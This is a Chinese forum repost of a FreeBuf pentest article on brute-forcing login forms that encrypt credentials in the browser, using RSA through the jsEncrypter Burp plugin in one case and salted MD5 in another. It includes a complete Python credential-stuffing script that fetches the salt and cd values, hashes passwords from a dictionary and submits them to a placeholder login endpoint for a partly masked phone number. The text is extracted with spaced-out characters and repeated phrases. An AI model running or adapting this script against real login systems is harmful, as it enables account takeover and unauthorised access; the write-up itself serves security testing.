搜索

[13223] 2018-09-24_如何对经前端加密后的数据进行爆破

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2018-09-24_如何对经前端加密后的数据进行爆破 如 何 对 经 前 端 加 密 后 的 数 据 进 行 爆 破 为 了 逆 袭   F r e e B u f   2 0 1 8 - 0 9 - 2 4 * 本 文 作 者 ： 为 了 逆 袭 ， 本 文 属 本 文 作 者 ： 为 了 逆 袭 ， 本 文 属   F r e e B u f   原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 。 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 。 前 言 前 言 最 近 遇 到 两 个 个 案 例 ， 经 过 一 番 倒 腾 ， 发 现 其 登 录 功 能 均 可 撞 库 。 但 是 都 存 在 登 录 数 据 本 地 加 密 ， 有 空 了 放 一 最 近 遇 到 两 个 个 案 例 ， 经 过 一 番 倒 腾 ， 发 现 其 登 录 功 能 均 可 撞 库 。 但 是 都 存 在 登 录 数 据 本 地 加 密 ， 有 空 了 放 一 起 总 结 记 录 一 下 。 起 总 结 记 录 一 下 。 一 、 案 例 一 、 案 例 1 （ （ R S A 本 地 加 密 ） 本 地 加 密 ） 摸 底 ： 摸 底 ： 首 先 ， 进 行 正 常 登 录 逻 辑 测 试 ， 发 现 该 系 统 登 录 逻 辑 分 下 面 两 步 ： 输 入 正 确 用 户 名 密 码 ， 校 验 正 确 后 ， 向 注 册 手 机 号 发 送 验 证 码 ； 输 入 正 确 验 证 码 ， 登 录 系 统 。 从 该 逻 辑 可 知 此 处 可 通 过 填 写 登 录 用 户 名 密 码 后 是 否 发 送 验 证 码 来 判 断 输 入 数 据 是 否 为 正 确 用 户 登 录 凭 证 ， 由 于 站 点 未 对 获 取 验 证 码 提 交 频 率 作 任 何 限 制 ， 从 而 可 自 动 化 提 交 来 获 取 该 站 点 正 确 用 户 名 密 码 。 演 习 ： 演 习 ： 在 g o o g l e 的 过 程 中 ， 很 快 的 找 到 了 一 款 b u r p s u i t e 套 件 ： j s E n c r y p t e r （ 感 谢 作 者 提 供 这 么 利 索 的 插 件 ） 。 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / c 0 n y 1 / j s E n c r y p t e r / r e l e a s e s 。 安 装 完 成 后 ， 我 们 将 j s e n c r y p t . m i n . j s 下 载 至 本 地 。 然 后 对 站 点 系 统 前 端 代 码 进 行 调 试 ， 分 析 前 端 处 理 过 程 ， 编 写 j s 模 板 文 件 。 在 审 计 前 端 源 代 码 页 面 中 ， 可 以 找 到 ， 在 u i 目 录 下 的 l i b 文 件 夹 下 有 一 个 s e c u r i t y 文 件 夹 ， 而 其 中 的 r s a _ u t i l . j s 就 是 调 用 j s e n c r y p t . m i n . j s 文 件 种 的 J S E n c r y p t 方 法 对 用 户 名 密 码 进 行 加 密 。
我 们 可 以 很 清 楚 看 到 加 密 过 程 ， 然 后 根 据 j s E n c r y p t e r 的 r e a d m e 文 档 中 的 使 用 指 南 ， 我 们 可 以 根 据 其 调 用 逻 辑 ， 自 行 编 写 一 个 j s E n c r y p t e r _ r s a . j s 文 件 ， 来 调 用 j s e n c r y p t . m i n . j s 文 件 为 我 们 的 明 文 数 据 进 行 加 密 。 这 里 有 两 个 小 坑 ： 由 动 态 调 试 可 知 ， 公 钥 _ p u b k 在 c o o k i e 中 以 u r l 编 码 后 的 方 式 存 储 ， 因 此 ， 我 们 本 地 调 用 ， 需 要 解 码 一 下 ， 在 这 里 ， 对 于 换 行 符 ， 需 要 用 n 替 换 。 由 于 j s E n c r y p t e r 插 件 使 用 了 p h a n t o m j s 平 台 ， 而 p h a n t o m j s 支 持 u r l 解 码 的 函 数 为 e n c o d e U R I C o m p o n e n t 。 因 此 不 能 使 用 与 系 统 前 端 一 致 的 e n c o d e U R I 函 数 。 然 后 仿 写 系 统 加 密 的 方 式 ， 将 公 钥 以 及 调 用 逻 辑 写 入 到 我 们 自 己 的 j s 文 件 中 ： 攻 击 ： 攻 击 ： 1 、 运 行 p h a n t o m J S 并 测 试 。 2 、 B u r p s u i t e 验 证 ， 调 用 成 功 ： 3 、 抓 包 ， 加 载 字 典 ， 实 施 爆 破 （ 两 个 参 数 的 字 典 都 使 用 插 件 ） ：
然 后 ， 成 功 爆 破 ： 二 、 案 例 二 、 案 例 2 （ （ m d 5 本 地 加 密 ） 本 地 加 密 ） 摸 底 ： 摸 底 ： 首 先 通 过 分 析 用 户 登 录 过 程 ， 发 现 该 站 点 登 录 无 验 证 码 ， 可 多 次 提 交 登 录 数 据 ， 但 是 其 用 户 名 密 码 在 本 地 进 行 了 m d 5 加 密 处 理 。 因 此 ， 撞 库 之 前 需 要 本 地 实 现 将 字 典 进 行 加 密 操 作 后 再 提 交 。 对 登 录 功 能 抓 包 分 析 后 ， 可 以 看 到 在 填 写 用 户 名 密 码 后 ， 前 端 发 送 如 下 数 据 包 获 取 c d 、 s a l t 数 据 包 ：
此 处 存 在 s a l t 泄 漏 风 险 ， 可 遍 历 手 机 号 ， 对 于 未 注 册 用 户 ， 返 回 值 s a l t ， 对 于 已 注 册 户 s a l t 值 恒 定 。 而 实 施 撞 库 ， 需 要 先 请 求 得 到 s a l t 与 c d 值 。 然 后 可 从 前 端 代 码 中 得 到 加 密 用 户 名 密 码 过 程 ： p a s s 经 过 本 地 m d 5 加 密 后 ，   发 送 至 服 务 端 进 行 登 录 校 验 。 演 习 ： 演 习 ： 因 此 ， 我 们 只 需 要 用 脚 本 ， 先 输 入 用 户 名 即 手 机 号 ， 请 求 得 到 c d 、 s a l t 值 ， 然 后 再 从 密 码 字 典 中 ， 取 出 密 码 进 行 m d 5 加 密 ， 最 后 发 包 请 求 即 可 。 编 写 p y t h o n 脚 本 如 下 ： 然 后 准 备 测 试 p a s s . t x t ： # - * -   c o d i n g = u t f - 8   - * - i m p o r t   r e q u e s t s i m p o r t   h a s h l i b i m p o r t   j s o n d e f   G e t P a s s ( ) : f p   =   o p e n ( " . / p a s s . t x t " , " r " ) i f   f p   = =   0 : p r i n t   ( " o p e n   f i l e   e r r o r ! " ) r e t u r n ; w h i l e   1 : l i n e   =   f p . r e a d l i n e ( ) i f   n o t   l i n e : b r e a k p a s s w d   =   l i n e . s t r i p ( ' n ' ) B r u t e _ F o r c e _ D i d i d a i ( " 1 5 0 * * * * 1 4 0 3 " , p a s s w d ) ; d e f   B r u t e _ F o r c e _ D i d i d a i ( u s e r n a m e , p a s s w o r d ) : #   u r l   =   " " s   =   r e q u e s t s . S e s s i o n ( ) s . h e a d e r s   =   { ' U s e r - A g e n t ' :   ' M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 1 ;   W O W 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o ) C h r o m e / 5 1 . 0 . 2 7 0 4 . 1 0 3   S a f a r i / 5 3 7 . 3 6 ' , ' X - R e q u e s t e d - W i t h ' :   ' X M L H t t p R e q u e s t ' , } u r l   =   " h t t p : / / w w w . f o o . c o m / ? m = & s = g e t c d " d a t a   =   { " u s e r n a m e " : u s e r n a m e } h t m l   =   s . p o s t ( u r l , d a t a   =   d a t a ) p r i n t   h t m l . c o n t e n t s a l t _ c d   =   j s o n . l o a d s ( h t m l . c o n t e n t ) p r i n t   s a l t _ c d [ ' s a l t ' ] p r i n t   s a l t _ c d [ ' c d ' ] m d 5 _ p a s s   =   h a s h l i b . m d 5 ( p a s s w o r d . e n c o d e ( ' u t f - 8 ' ) ) . h e x d i g e s t ( ) + s a l t _ c d [ ' s a l t ' ] m d 5 _ s a l t   =   h a s h l i b . m d 5 ( m d 5 _ p a s s . e n c o d e ( ' u t f - 8 ' ) ) . h e x d i g e s t ( ) + s t r ( s a l t _ c d [ ' c d ' ] ) m d 5 _ c d   =   h a s h l i b . m d 5 ( m d 5 _ s a l t . e n c o d e ( ' u t f - 8 ' ) ) . h e x d i g e s t ( ) p r i n t   m d 5 _ c d u r l 1   =   " h t t p : / / w w w . f o o . c o m / ? m = & s = l o g i n _ w d & i s m d 5 = 1 " d a t a 1   =   { " u s e r n a m e " : " u s e r n a m e " , " p a s s w o r d " : m d 5 _ c d } h t m l 1   =   s . p o s t ( u r l 1 , d a t a   =   d a t a 1 ) p r i n t   h t m l 1 . c o n t e n t p r i n t   l e n ( h t m l 1 . c o n t e n t ) ; G e t P a s s ( )
攻 击 ： 攻 击 ： 最 后 只 需 要 执 行 脚 本 即 可 ：
最 后 是 爆 破 成 功 返 回 到 数 据 包 ， 由 此 可 得 到 正 确 用 户 名 密 码 。 P S ： 菜 鸡 拙 作 ， 有 不 妥 之 处 欢 迎 各 位 赐 教 。 感 谢 各 位 阅 览 ~ * 本 文 作 者 ： 为 了 逆 袭 ， 本 文 属 本 文 作 者 ： 为 了 逆 袭 ， 本 文 属   F r e e B u f   原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理